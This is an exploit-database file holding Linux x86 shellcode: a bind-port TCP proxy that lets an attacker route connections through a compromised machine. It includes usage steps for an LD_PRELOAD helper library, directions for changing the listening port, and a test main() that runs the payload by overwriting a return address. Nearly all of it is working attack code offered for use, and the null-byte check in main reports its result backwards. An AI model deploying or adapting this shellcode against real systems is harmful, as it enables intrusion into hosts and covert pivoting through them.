exploit-db-mirror/platforms/lin_x86/shellcode/13381.c

// proxylib.c - is located at http://www.milw0rm.com/id.php?id=1476 /str0ke

/********************************************************************

 hey all.. this is my attempt at a very small very functional tcp 
 proxy shellcode.. to pull this off i ignored the "socks" protocols
 and invented my own.. sorta..

 how to use me..
 
 deliver shellcode however you would normally deliver shellcode to a
 machine, lets say 192.168.1.1 in this case..
 
 on your machine you would setup the proxy library like so:

 phar@hatless-cat ~/proxyshell $  gcc -c -o proxyshell_connect.o proxylib.c -fpic
 phar@hatless-cat ~/proxyshell $  ld -shared -o proxyshell_connect.so proxyshell_connect.o -ldl
 phar@hatless-cat ~/proxyshell $  export LD_PRELOAD=/full/path/to/proxyshell_connect.so
 phar@hatless-cat ~/proxyshell $  export SHELLPROXYHOST=192.168.1.16:1280


 from now on any calls to connect() will be proxied through the shellcode 
 which can handle multiple simultanious connections to arbitrary hosts.

 by default the shell binds to port 1280, you can easily modify which 
 the host binds to by finding the code labeled "port info" like this

        "\xba\xfd\xff\xfa\xff"          // mov    $0xfffafffd,%edx      ;port info
	
	invert the last for bytes (logical NOT) and you'll see where port
	0x5000 is declared.. adjust to whatever port you want, and reinvert..


 proxylib.c should be available at stonedcoder.org

 one last note about proxylib.c, it does not handle dns resolution properly, 
 so ip addresses only.. unless you know.. you feel like making it work..



 phar[at]stonedcoder[dot]org
	http://www.stonedcoder.org
	http://bpp.etherdyne.net
********************************************************************/



char shellcode[] = {
//main:
	"\x31\xc0"			// xor    %eax,%eax
	"\x89\xc3"			// mov    %eax,%ebx
	"\x50"				// push   %eax
	"\x40"				// inc    %eax
	"\x50"				// push   %eax
	"\x40"				// inc    %eax
	"\x50"				// push   %eax
	"\x89\xe1"			// mov    %esp,%ecx
	"\xb0\x66"			// mov    $0x66,%al
	"\x89\xc7"			// mov    %eax,%edi
	"\x43"				// inc    %ebx
	"\xcd\x80"			// int    $0x80			;socket

	"\x89\xc6"			// mov    %eax,%esi
	"\x89\xf8"			// mov    %edi,%eax
	"\x31\xd2"			// xor    %edx,%edx
	"\x52"				// push   %edx
	"\x52"				// push   %edx
	"\x52"				// push   %edx
	"\xba\xfd\xff\xfa\xff" 		// mov    $0xfffafffd,%edx	;port info
	"\xf7\xd2"			// not    %edx
	"\x52"				// push   %edx
	"\x89\xe1"			// mov    %esp,%ecx
	"\x31\xd2"			// xor    %edx,%edx
	"\xb2\x10"			// mov    $0x10,%dl
	"\x52"				// push   %edx
	"\x51"				// push   %ecx
	"\x56"				// push   %esi
	"\x89\xe1"			// mov    %esp,%ecx
	"\x43"				// inc    %ebx
	"\xcd\x80"			// int    $0x80			;bind

	"\x53"				// push   %ebx
	"\x56"				// push   %esi
	"\x89\xe1"			// mov    %esp,%ecx
	"\xb0\x66"			// mov    $0x66,%al
	"\xb3\x04"			// mov    $0x4,%bl
	"\xcd\x80"			// int    $0x80			;listen

	"\x31\xc9"			// xor    %ecx,%ecx
	"\x41"				// inc    %ecx
	"\xb3\x11"			// mov    $0x11,%bl
	"\xb0\x30"			// mov    $0x30,%al
	"\xcd\x80"			// int    $0x80			;signal

//do_next_accept:
	"\x31\xc0"			// xor    %eax,%eax
	"\x50"				// push   %eax
	"\x50"				// push   %eax
	"\x56"				// push   %esi
	"\x89\xe1"			// mov    %esp,%ecx
	"\xb0\x66"			// mov    $0x66,%al
	"\x89\xc2"			// mov    %eax,%edx
	"\xb3\x05"			// mov    $0x5,%bl
	"\xcd\x80"			// int    $0x80			;accept

	"\x89\xc7"			// mov    %eax,%edi
	"\x31\xc0"			// xor    %eax,%eax
	"\x50"				// push   %eax
	"\x40"				// inc    %eax
	"\x50"				// push   %eax
	"\x40"				// inc    %eax
	"\x50"				// push   %eax
	"\xcd\x80"			// int    $0x80			;fork

	"\x85\xc0"			// test   %eax,%eax
	"\x75\xe2"			// jne    8048398 <do_next_accept>
	"\x89\xe1"			// mov    %esp,%ecx
	"\xb0\x66"			// mov    $0x66,%al
	"\x89\xc3"			// mov    %eax,%ebx
	"\xb3\x01"			// mov    $0x1,%bl
	"\xcd\x80"			// int    $0x80			;socket

	"\x89\xc6"			// mov    %eax,%esi
	"\xb0\x10"			// mov    $0x10,%al
	"\x29\xc4"			// sub    %eax,%esp
	"\x89\xe1"			// mov    %esp,%ecx
	"\x31\xc0"			// xor    %eax,%eax
	"\x50"				// push   %eax
	"\x52"				// push   %edx
	"\x51"				// push   %ecx
	"\x57"				// push   %edi
	"\x89\xe1"			// mov    %esp,%ecx
	"\xb0\x66"			// mov    $0x66,%al
	"\xb3\x0a"			// mov    $0xa,%bl
	"\xcd\x80"			// int    $0x80			;recv


	"\xb0\x66"			// mov    $0x66,%al
	"\xb3\x03"			// mov    $0x3,%bl
	"\x89\x34\x24"			// mov    %esi,(%esp)
	"\xcd\x80"			// int    $0x80
	"\x85\xc0"			// test   %eax,%eax
	"\x74\x14"			// jz     ready_to_proxy

//close:
	"\x89\xf3"			// mov    %esi,%ebx
	"\x31\xc0"			// xor    %eax,%eax
	"\xb0\x06"			// mov    $0x6,%al
	"\xcd\x80"			// int    $0x80			;close

	"\x87\xf7"			// xchg   %esi,%edi
	"\x85\xc0"			// test   %eax,%eax
	"\x74\xf"			// jz     close

//exit:
	"\x31\xc0"			// xor    %eax,%eax
	"\xb0\x01"			// mov    $0x1,%al
	"\xcd\x80"			// int    $0x80			;recv

//ready_to_proxy:
	"\x31\xdb"			// xor    %ebx,%ebx
	"\xb3\x10"			// mov    $0x10,%bl
	"\x01\xdc"			// add    %ebx,%esp
	"\x87\xf7"			// xchg   %esi,%edi
	"\x31\xc0"			// xor    %eax,%eax
	"\x50"				// push   %eax
	"\x56"				// push   %esi
	"\x89\xe3"			// mov    %esp,%ebx
	"\x31\xc9"			// xor    %ecx,%ecx
	"\x41"				// inc    %ecx
	"\x89\xca"			// mov    %ecx,%edx
	"\xb0\xa8"			// mov    $0xa8,%al
	"\xcd\x80"			// int    $0x80			;connect

	"\x31\xc0"			// xor    %eax,%eax
	"\xb0\x40"			// mov    $0x40,%al
	"\x89\xe2"			// mov    %esp,%edx
	"\x50"				// push   %eax
	"\xb0\x08"			// mov    $0x8,%al
	"\x50"				// push   %eax
	"\x52"				// push   %edx
	"\x56"				// push   %esi
	"\x89\xe1"			// mov    %esp,%ecx
	"\x31\xdb"			// xor    %ebx,%ebx
	"\xb3\x0a"			// mov    $0xa,%bl

//do_next_proxy:,
	"\x31\xc0"			// xor    %eax,%eax
	"\xb0\x66"			// mov    $0x66,%al
	"\xcd\x80"			// int    $0x80			;send/recv
	"\x85\xc0"			// test   %eax,%eax
	"\x74\xb9"			// jz     close
	"\x89\xda"			// mov    %ebx,%edx
	"\xf6\xc2\x01"			// test   $0x1,%dl
	"\x75\xc6"			// jnz    ready_to_proxy

//is_recv_call:
	"\x89\xc2"			// mov    %eax,%edx
	"\xd1\xe2"			// shl    %edx
	"\x72\xc0"			// jb     ready_to_proxy
	"\x89\x41\x08"			// mov    %eax,0x8(%ecx)
	"\x89\x39"			// mov    %edi,(%ecx)
	"\x4b"				// dec    %ebx
	"\xeb\xe1"			// jmp    do_next_proxy
};


int main() {
int *ret;
char cnull = 0;

        printf("shellcode_size: %u\n", sizeof(shellcode));
        printf("contains nulls: ");
        if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
                printf("yes\n");
        }else{
                printf("no\n");
        }

        ret = (int *)&ret + 2;
        (*ret) = (int)shellcode;

}

// milw0rm.com [2006-02-07]